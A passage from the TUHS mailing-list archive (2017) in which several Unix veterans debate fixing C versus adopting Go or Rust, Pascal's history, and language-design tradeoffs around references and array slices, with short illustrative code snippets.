> On Aug 31, 2017, at 2:46 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> On Thu, Aug 31, 2017 at 04:37:17PM -0400, William Cheswick wrote:
>> I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.
> 
> So what chaps my grumpy old hide is why the heck do a whole new language
> when you have one that is pretty good?  Suppose we took C and added a
> dialect via options:
> 
> 	--no-ptrs	// use arrays and indices, you get bounds checking
> 	--strings	// system managed memory for strings, like tcl
> 	--perlisms	// if (buf =~ /re/) and unless (it_worked())

Such a language would stop being C.

In Go you can use slices instead of arrays (but slices are only one dimensional).
Ptrs are relatively safe as memory is garbage collected so e.g. a function can
return &local_variable. No perlism.

Go provides other features which are quite useful: concurrency, channels,
interfaces, packages.

People who like C tend to like Go. But Go is not low-level enough. No one
is writing a kernel in it! Or doing bare metal programming. AFAIK.

> etc.  Why create an entirely new language, new syntax, new linkage, etc,
> instead of fixing C's shortcomings?

C has too many problems. If you try fixing them, none of the "dusty decks"
would run on such a compiler + the new language would be severely
hampered in its evolution due to its C legacy.

Algol family, class based, prototype based, functional, array, logic,
visual, ... programming language are just what we have tried so far. 
I don't think we are anywhere near the end of programming language
evolution.




From lm at mcvoy.com  Fri Sep  1 11:26:55 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 31 Aug 2017 18:26:55 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
References: <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
 <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
Message-ID: <20170901012655.GH448@mcvoy.com>

On Thu, Aug 31, 2017 at 06:22:41PM -0700, Bakul Shah wrote:
> 
> > On Aug 31, 2017, at 2:46 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > 
> > On Thu, Aug 31, 2017 at 04:37:17PM -0400, William Cheswick wrote:
> >> I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.
> > 
> > So what chaps my grumpy old hide is why the heck do a whole new language
> > when you have one that is pretty good?  Suppose we took C and added a
> > dialect via options:
> > 
> > 	--no-ptrs	// use arrays and indices, you get bounds checking
> > 	--strings	// system managed memory for strings, like tcl
> > 	--perlisms	// if (buf =~ /re/) and unless (it_worked())
> 
> Such a language would stop being C.

Indeed.  But it builds on C.

> In Go you can use slices instead of arrays (but slices are only one dimensional).
> Ptrs are relatively safe as memory is garbage collected so e.g. a function can
> return &local_variable. No perlism.
> 
> Go provides other features which are quite useful: concurrency, channels,
> interfaces, packages.
> 
> People who like C tend to like Go. But Go is not low-level enough. No one
> is writing a kernel in it! Or doing bare metal programming. AFAIK.

Exactly.

> > etc.  Why create an entirely new language, new syntax, new linkage, etc,
> > instead of fixing C's shortcomings?
> 
> C has too many problems. If you try fixing them, none of the "dusty decks"
> would run on such a compiler + the new language would be severely
> hampered in its evolution due to its C legacy.

So I'd need to understand more to believe that claim.  And for the record,
what I'm going for is a new C that is still C enough to be useful but
fixes the problems enough to be a new language.  Someone asked about
C++ and D, nope.  Too far from C.  I just want a C that fixes enough
of the problems that it is more acceptable to modern programmers but
is still C.  Not sure if I'm explaining that well enough.

> Algol family, class based, prototype based, functional, array, logic,
> visual, ... programming language are just what we have tried so far. 
> I don't think we are anywhere near the end of programming language
> evolution.

Yep.

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From khm at sciops.net  Fri Sep  1 11:51:19 2017
From: khm at sciops.net (Kurt H Maier)
Date: Thu, 31 Aug 2017 18:51:19 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <20170901012655.GH448@mcvoy.com>
References: <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
 <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
 <20170901012655.GH448@mcvoy.com>
Message-ID: <20170901015119.GA71864@wopr>

On Thu, Aug 31, 2017 at 06:26:55PM -0700, Larry McVoy wrote:
> 
> So I'd need to understand more to believe that claim.  And for the record,
> what I'm going for is a new C that is still C enough to be useful but
> fixes the problems enough to be a new language.  Someone asked about
> C++ and D, nope.  Too far from C.  I just want a C that fixes enough
> of the problems that it is more acceptable to modern programmers but
> is still C.  Not sure if I'm explaining that well enough.

To "fix the problems" without losing functionality you need to pick a
new set of abstractions.  If you pick a new set of abstractions you've
stopped being C.  This is the gulf between C fans and the "modern"
language set.  When you file off the sharp edges, you have fewer
accidents, but you have to solve some problems differently.

khm


From cym224 at gmail.com  Fri Sep  1 11:57:48 2017
From: cym224 at gmail.com (Nemo)
Date: Thu, 31 Aug 2017 21:57:48 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <20170831192532.urrIi%steffen@sdaoden.eu>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
Message-ID: <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>

Shades of Myfol vs. Yourtran!

On 31/08/2017, Steffen Nurpmeso <steffen at sdaoden.eu> wrote (in part):
> and i still hear
> myself asking the teacher "What?  A language without goto?"

Pascal has always had goto.  (One of Wirth's pascal compilers even
jumped from within one function to a label inside another function!)

The construct was removed in Modula.  (As Parnas has said, the problem
is not having a comefrom to go with the goto.)

N.


From bakul at bitblocks.com  Fri Sep  1 12:22:10 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 31 Aug 2017 19:22:10 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <20170901012655.GH448@mcvoy.com>
References: <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
 <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
 <20170901012655.GH448@mcvoy.com>
Message-ID: <6D07E768-A4CA-42F5-9D32-E8ECAAB4CB96@bitblocks.com>


> On Aug 31, 2017, at 6:26 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> On Thu, Aug 31, 2017 at 06:22:41PM -0700, Bakul Shah wrote:
>> 
>>> On Aug 31, 2017, at 2:46 PM, Larry McVoy <lm at mcvoy.com> wrote:
>>> 
>>> On Thu, Aug 31, 2017 at 04:37:17PM -0400, William Cheswick wrote:
>>>> I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.
>>> 
>>> So what chaps my grumpy old hide is why the heck do a whole new language
>>> when you have one that is pretty good?  Suppose we took C and added a
>>> dialect via options:
>>> 
>>> 	--no-ptrs	// use arrays and indices, you get bounds checking
>>> 	--strings	// system managed memory for strings, like tcl
>>> 	--perlisms	// if (buf =~ /re/) and unless (it_worked())
>> 
>> Such a language would stop being C.
> 
> Indeed.  But it builds on C.
> 
>> In Go you can use slices instead of arrays (but slices are only one dimensional).
>> Ptrs are relatively safe as memory is garbage collected so e.g. a function can
>> return &local_variable. No perlism.
>> 
>> Go provides other features which are quite useful: concurrency, channels,
>> interfaces, packages.
>> 
>> People who like C tend to like Go. But Go is not low-level enough. No one
>> is writing a kernel in it! Or doing bare metal programming. AFAIK.
> 
> Exactly.
> 
>>> etc.  Why create an entirely new language, new syntax, new linkage, etc,
>>> instead of fixing C's shortcomings?
>> 
>> C has too many problems. If you try fixing them, none of the "dusty decks"
>> would run on such a compiler + the new language would be severely
>> hampered in its evolution due to its C legacy.
> 
> So I'd need to understand more to believe that claim.  And for the record,
> what I'm going for is a new C that is still C enough to be useful but
> fixes the problems enough to be a new language.  Someone asked about
> C++ and D, nope.  Too far from C.  I just want a C that fixes enough
> of the problems that it is more acceptable to modern programmers but
> is still C.  Not sure if I'm explaining that well enough.

See below. I think it would be not easy to build a simpler language
that is consistent and regular. I just touched on a couple of things
but there would be many more such small decisions....

1. Ptrs. If you remove them completely, functions can become
   pure and can not change anything. Most likely you'd end up
   adding "ref" parameter, which would be sorta like Pascal's
   var parameters.

       int f(var int x) {
                x++;
                return x
       }

        ...
        int z = 1;
        int y = f(z);   // y should be 2
        int x = f(z);   // x should be 3

   The benefit is that now you can not clobber the ptr but
   otherwise the same result.

   Do you allow declaring refs? You should for consistency.

        int x1;
        ref int x2 = x1;

   But if you allow this, either this assignment behaves
   differently from a ref int parameter or it would crash
   since x2 doesn't really point anywhere on initialization.
   So now you will be tempted to say

        ref int x2 = ref x1;

   This is almost exactly like

        int *x2 = &x1;

   A bit ugly.  IIRC Algol68 had something similar and well
   defined rules for how multi level refs were handled.

2. Passing Arrays. Now you need a way to pass subarrays.

        int z[] = {1,2,3,4};
        int g(int x[]) {
            ...
        }
        ...
        int x = g(z[3:5]);      // g.x[0] = z[3]; g.x[1] = z[4].

   Now you need a way to iterate through the array in g.

        int g(int x[]) int {
            int sum = 0;
            for (int i = 0; i < len(x); i++) sum += x[i];
            return sum;
        }

   But what happens if in g you change x[i]? Does z change?
   If you don't allow this, x[] becomes a constant but a
   scalar variable can be changed. So this is inconsistent.

   If you allow this, int x[] almost acts like var int x[]!
   For consistency with scalars you should copy z[3:5] but
   that can be expensive for large arrays. So now you will be
   tempted to use const (now a ref can be impllicitly passed
   since array won't be written over).

   Then there is the issue of multidimensional arrays.

        int z[4][5];
        int h(int x[][]) {
            ...
        }
        int w = g(z[2:4][1:3]);

   If you are fixing arrays, you may as well do them right
   so that fortran code can be easily ported.  So what about

        int h(int x[][]) {
                int s = g(x[1][]);
        }

   Here we're passing a column of z as a vector to g.
   You'd end up with a illife vector or something! But
   if you do this, vector access can slow down...



From lm at mcvoy.com  Fri Sep  1 12:27:15 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 31 Aug 2017 19:27:15 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <6D07E768-A4CA-42F5-9D32-E8ECAAB4CB96@bitblocks.com>
References: <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
 <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
 <20170901012655.GH448@mcvoy.com>
 <6D07E768-A4CA-42F5-9D32-E8ECAAB4CB96@bitblocks.com>
Message-ID: <20170901022715.GL448@mcvoy.com>

No offense intended but I pretty much dealt with all of this in L.
little-lang.org

I'll freely admit it is not perfect but it certainly touches on your
comments and would not be hard to bring into C.

On Thu, Aug 31, 2017 at 07:22:10PM -0700, Bakul Shah wrote:
> 
> > On Aug 31, 2017, at 6:26 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > 
> > On Thu, Aug 31, 2017 at 06:22:41PM -0700, Bakul Shah wrote:
> >> 
> >>> On Aug 31, 2017, at 2:46 PM, Larry McVoy <lm at mcvoy.com> wrote:
> >>> 
> >>> On Thu, Aug 31, 2017 at 04:37:17PM -0400, William Cheswick wrote:
> >>>> I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.
> >>> 
> >>> So what chaps my grumpy old hide is why the heck do a whole new language
> >>> when you have one that is pretty good?  Suppose we took C and added a
> >>> dialect via options:
> >>> 
> >>> 	--no-ptrs	// use arrays and indices, you get bounds checking
> >>> 	--strings	// system managed memory for strings, like tcl
> >>> 	--perlisms	// if (buf =~ /re/) and unless (it_worked())
> >> 
> >> Such a language would stop being C.
> > 
> > Indeed.  But it builds on C.
> > 
> >> In Go you can use slices instead of arrays (but slices are only one dimensional).
> >> Ptrs are relatively safe as memory is garbage collected so e.g. a function can
> >> return &local_variable. No perlism.
> >> 
> >> Go provides other features which are quite useful: concurrency, channels,
> >> interfaces, packages.
> >> 
> >> People who like C tend to like Go. But Go is not low-level enough. No one
> >> is writing a kernel in it! Or doing bare metal programming. AFAIK.
> > 
> > Exactly.
> > 
> >>> etc.  Why create an entirely new language, new syntax, new linkage, etc,
> >>> instead of fixing C's shortcomings?
> >> 
> >> C has too many problems. If you try fixing them, none of the "dusty decks"
> >> would run on such a compiler + the new language would be severely
> >> hampered in its evolution due to its C legacy.
> > 
> > So I'd need to understand more to believe that claim.  And for the record,
> > what I'm going for is a new C that is still C enough to be useful but
> > fixes the problems enough to be a new language.  Someone asked about
> > C++ and D, nope.  Too far from C.  I just want a C that fixes enough
> > of the problems that it is more acceptable to modern programmers but
> > is still C.  Not sure if I'm explaining that well enough.
> 
> See below. I think it would be not easy to build a simpler language
> that is consistent and regular. I just touched on a couple of things
> but there would be many more such small decisions....
> 
> 1. Ptrs. If you remove them completely, functions can become
>    pure and can not change anything. Most likely you'd end up
>    adding "ref" parameter, which would be sorta like Pascal's
>    var parameters.
> 
>        int f(var int x) {
>                 x++;
>                 return x
>        }
> 
>         ...
>         int z = 1;
>         int y = f(z);   // y should be 2
>         int x = f(z);   // x should be 3
> 
>    The benefit is that now you can not clobber the ptr but
>    otherwise the same result.
> 
>    Do you allow declaring refs? You should for consistency.
> 
>         int x1;
>         ref int x2 = x1;
> 
>    But if you allow this, either this assignment behaves
>    differently from a ref int parameter or it would crash
>    since x2 doesn't really point anywhere on initialization.
>    So now you will be tempted to say
> 
>         ref int x2 = ref x1;
> 
>    This is almost exactly like
> 
>         int *x2 = &x1;
> 
>    A bit ugly.  IIRC Algol68 had something similar and well
>    defined rules for how multi level refs were handled.
> 
> 2. Passing Arrays. Now you need a way to pass subarrays.
> 
>         int z[] = {1,2,3,4};
>         int g(int x[]) {
>             ...
>         }
>         ...
>         int x = g(z[3:5]);      // g.x[0] = z[3]; g.x[1] = z[4].
> 
>    Now you need a way to iterate through the array in g.
> 
>         int g(int x[]) int {
>             int sum = 0;
>             for (int i = 0; i < len(x); i++) sum += x[i];
>             return sum;
>         }
> 
>    But what happens if in g you change x[i]? Does z change?
>    If you don't allow this, x[] becomes a constant but a
>    scalar variable can be changed. So this is inconsistent.
> 
>    If you allow this, int x[] almost acts like var int x[]!
>    For consistency with scalars you should copy z[3:5] but
>    that can be expensive for large arrays. So now you will be
>    tempted to use const (now a ref can be impllicitly passed
>    since array won't be written over).
> 
>    Then there is the issue of multidimensional arrays.
> 
>         int z[4][5];
>         int h(int x[][]) {
>             ...
>         }
>         int w = g(z[2:4][1:3]);
> 
>    If you are fixing arrays, you may as well do them right
>    so that fortran code can be easily ported.  So what about
> 
>         int h(int x[][]) {
>                 int s = g(x[1][]);
>         }
> 
>    Here we're passing a column of z as a vector to g.
>    You'd end up with a illife vector or something! But
>    if you do this, vector access can slow down...

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From crossd at gmail.com  Fri Sep  1 12:38:54 2017
From: crossd at gmail.com (Dan Cross)
Date: Thu, 31 Aug 2017 22:38:54 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
Message-ID: <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>

On Thu, Aug 31, 2017 at 3:47 PM, Toby Thain <toby at telegraphics.com.au>
wrote:
[snip]

> > But the problem was that in those days, because Wirth had designed it
> > for complete small student programs, it was hard to write large real
> > programs (as Brian points).  So people fixed it and every fixed it
> > differently.  Pascal was hardly standardized. ...
> >
> > And this was the root of the real problem.
> >
> > You could not write “real” programs in it and really make them run on
> > actual systems.   Brian was writing that paper, after an exercise in
>
>
> Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
> (using his literate programming toolset, but that did not extend the
> language much).
>

To be fair, I think that Knuth originally wrote both TeX and METAFONT in
the SAIL language for the PDP-10. He switched to Pascal (again on the
PDP-10) later.

I've often wondered to what extent (natural) language shapes thought; for
instance, to what extent does grammatical gender influence patriarchy or
matriarchy of the society that speaks that language, etc. If some thought
is relatively harder to express in a given language, will less attention be
given to areas associated with that thought? It is my limited understanding
that linguists and social scientists have studied this and seen a positive
correlation between language and culture/society (I don't know if it's
causal).

But if we go out on a branch and assume that it *is* causal for a moment,
it naturally raises the question: is the same true of other types of
languages? How about programming languages or mathematical notations (or
other similar domain specific languages)?

I have long suspected that it is true of programming. While most of the
languages we use are Turing complete (I suppose that in the limit one can
write a Common Lisp implementation in C, for example), it is unarguable
that some languages make it *easier* to express some things than other
languages. In some cases this is deliberate: consider languages with
strong, static type systems versus dynamic but strongly typed languages (or
statically but weakly typed). Here the language designers have
intentionally made it hard to escape the tyranny of the type system in
order to prevent bugs.

Anyway, I wonder if Knuth would have produced the same TeX and METAFONT had
he started in Pascal; perhaps he would have, but maybe he would have given
up on some of the more ambitious parts of both because the language made it
much less convenient (not knowing SAIL, I'm speculating). Perhaps having
gone through the exercise of producing TeX in SAIL gave him insight that
inspired him to work around Pascal's expressive limitations. Or perhaps the
opposite is true.

Regardless, comparing the work of a Knuth to the industry average is more
than a bit unfair. :-)

I suppose Apple's Pascal and Object Pascal -- used for Lisa and
> Macintosh applications and systems software -- comes under the "so
> people fixed it" category?
>

Object Pascal, Delphi and Free Pascal (which seeks to implement the best of
both) seem to have definitely fallen into that category.

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/f3953d8c/attachment.html>

From itz at very.loosely.org  Fri Sep  1 12:45:48 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 31 Aug 2017 19:45:48 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
	Unearthed!
In-Reply-To: <20170901004743.GA448@mcvoy.com>
References: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
 <1504225167.59a8a78fdd078@www.paradise.net.nz>
 <20170901004743.GA448@mcvoy.com>
Message-ID: <20170901024548.khkx3y3ggkbylukt@matica.foolinux.mooo.com>

On 2017-08-31 17:47, Larry McVoy wrote:

> 	IF (expr)
> 	BEGIN
> 		blah
> 		blah
> 		blah
> 	END
> 
> I'm sorry but I'm with whoever it was that said { } are better than
> BEGIN END.  Seems trivial but it's not to me.

IMO, that's taking 1 part of a large coherent whole and judging by that.
I am terrible with metaphors and similes, but maybe a bit like saying "I
don't like the GPL because it restricts what I can do with my code."

Here's another construct from C:

for (i = n; i > 0; --i) {
    blah();
}

In a language like Pascal (really Algol), that is

FOR i = n TO 0 DO
    Blah()
DONE

That's much closer typing-wise, isn't it?  That's because of the melding
of the brackets with the control structure keywords.  But you can't do
that _and_ have braces.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From crossd at gmail.com  Fri Sep  1 12:51:02 2017
From: crossd at gmail.com (Dan Cross)
Date: Thu, 31 Aug 2017 22:51:02 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
 <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
Message-ID: <CAEoi9W6bkD-4Rem7=31ES_M-7PPQV3V-ZUyRK3TvD=jPaVEeLg@mail.gmail.com>

On Thu, Aug 31, 2017 at 9:22 PM, Bakul Shah <bakul at bitblocks.com> wrote:
>
> [snip]
> People who like C tend to like Go. But Go is not low-level enough. No one
> is writing a kernel in it! Or doing bare metal programming. AFAIK.


There are a few different projects: at least two under current
investigation at MIT; an earlier project out of Spain using a modified
version of the language. I'd be surprised if there were not others.

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/f844a654/attachment.html>

From bakul at bitblocks.com  Fri Sep  1 12:58:16 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 31 Aug 2017 19:58:16 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <20170901022715.GL448@mcvoy.com>
References: <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
 <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
 <20170901012655.GH448@mcvoy.com>
 <6D07E768-A4CA-42F5-9D32-E8ECAAB4CB96@bitblocks.com>
 <20170901022715.GL448@mcvoy.com>
Message-ID: <9455B90D-9C12-4FFB-A782-E7335749E3A7@bitblocks.com>

I did a quick read of the language spec but I didn't see a rationale or
nit picky details.... Would have to study it more but I'm not convinced
it is better..... I believe Go has pretty much everything L has (+ I like
its support for concurrency).

Stroustrup's C with classes did seem better but then it became C++.

> On Aug 31, 2017, at 7:27 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> No offense intended but I pretty much dealt with all of this in L.
> little-lang.org
> 
> I'll freely admit it is not perfect but it certainly touches on your
> comments and would not be hard to bring into C.
> 
> On Thu, Aug 31, 2017 at 07:22:10PM -0700, Bakul Shah wrote:
>> 
>>> On Aug 31, 2017, at 6:26 PM, Larry McVoy <lm at mcvoy.com> wrote:
>>> 
>>> On Thu, Aug 31, 2017 at 06:22:41PM -0700, Bakul Shah wrote:
>>>> 
>>>>> On Aug 31, 2017, at 2:46 PM, Larry McVoy <lm at mcvoy.com> wrote:
>>>>> 
>>>>> On Thu, Aug 31, 2017 at 04:37:17PM -0400, William Cheswick wrote:
>>>>>> I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.
>>>>> 
>>>>> So what chaps my grumpy old hide is why the heck do a whole new language
>>>>> when you have one that is pretty good?  Suppose we took C and added a
>>>>> dialect via options:
>>>>> 
>>>>> 	--no-ptrs	// use arrays and indices, you get bounds checking
>>>>> 	--strings	// system managed memory for strings, like tcl
>>>>> 	--perlisms	// if (buf =~ /re/) and unless (it_worked())
>>>> 
>>>> Such a language would stop being C.
>>> 
>>> Indeed.  But it builds on C.
>>> 
>>>> In Go you can use slices instead of arrays (but slices are only one dimensional).
>>>> Ptrs are relatively safe as memory is garbage collected so e.g. a function can
>>>> return &local_variable. No perlism.
>>>> 
>>>> Go provides other features which are quite useful: concurrency, channels,
>>>> interfaces, packages.
>>>> 
>>>> People who like C tend to like Go. But Go is not low-level enough. No one
>>>> is writing a kernel in it! Or doing bare metal programming. AFAIK.
>>> 
>>> Exactly.
>>> 
>>>>> etc.  Why create an entirely new language, new syntax, new linkage, etc,
>>>>> instead of fixing C's shortcomings?
>>>> 
>>>> C has too many problems. If you try fixing them, none of the "dusty decks"
>>>> would run on such a compiler + the new language would be severely
>>>> hampered in its evolution due to its C legacy.
>>> 
>>> So I'd need to understand more to believe that claim.  And for the record,
>>> what I'm going for is a new C that is still C enough to be useful but
>>> fixes the problems enough to be a new language.  Someone asked about
>>> C++ and D, nope.  Too far from C.  I just want a C that fixes enough
>>> of the problems that it is more acceptable to modern programmers but
>>> is still C.  Not sure if I'm explaining that well enough.
>> 
>> See below. I think it would be not easy to build a simpler language
>> that is consistent and regular. I just touched on a couple of things
>> but there would be many more such small decisions....
>> 
>> 1. Ptrs. If you remove them completely, functions can become
>>   pure and can not change anything. Most likely you'd end up
>>   adding "ref" parameter, which would be sorta like Pascal's
>>   var parameters.
>> 
>>       int f(var int x) {
>>                x++;
>>                return x
>>       }
>> 
>>        ...
>>        int z = 1;
>>        int y = f(z);   // y should be 2
>>        int x = f(z);   // x should be 3
>> 
>>   The benefit is that now you can not clobber the ptr but
>>   otherwise the same result.
>> 
>>   Do you allow declaring refs? You should for consistency.
>> 
>>        int x1;
>>        ref int x2 = x1;
>> 
>>   But if you allow this, either this assignment behaves
>>   differently from a ref int parameter or it would crash
>>   since x2 doesn't really point anywhere on initialization.
>>   So now you will be tempted to say
>> 
>>        ref int x2 = ref x1;
>> 
>>   This is almost exactly like
>> 
>>        int *x2 = &x1;
>> 
>>   A bit ugly.  IIRC Algol68 had something similar and well
>>   defined rules for how multi level refs were handled.
>> 
>> 2. Passing Arrays. Now you need a way to pass subarrays.
>> 
>>        int z[] = {1,2,3,4};
>>        int g(int x[]) {
>>            ...
>>        }
>>        ...
>>        int x = g(z[3:5]);      // g.x[0] = z[3]; g.x[1] = z[4].
>> 
>>   Now you need a way to iterate through the array in g.
>> 
>>        int g(int x[]) int {
>>            int sum = 0;
>>            for (int i = 0; i < len(x); i++) sum += x[i];
>>            return sum;
>>        }
>> 
>>   But what happens if in g you change x[i]? Does z change?
>>   If you don't allow this, x[] becomes a constant but a
>>   scalar variable can be changed. So this is inconsistent.
>> 
>>   If you allow this, int x[] almost acts like var int x[]!
>>   For consistency with scalars you should copy z[3:5] but
>>   that can be expensive for large arrays. So now you will be
>>   tempted to use const (now a ref can be impllicitly passed
>>   since array won't be written over).
>> 
>>   Then there is the issue of multidimensional arrays.
>> 
>>        int z[4][5];
>>        int h(int x[][]) {
>>            ...
>>        }
>>        int w = g(z[2:4][1:3]);
>> 
>>   If you are fixing arrays, you may as well do them right
>>   so that fortran code can be easily ported.  So what about
>> 
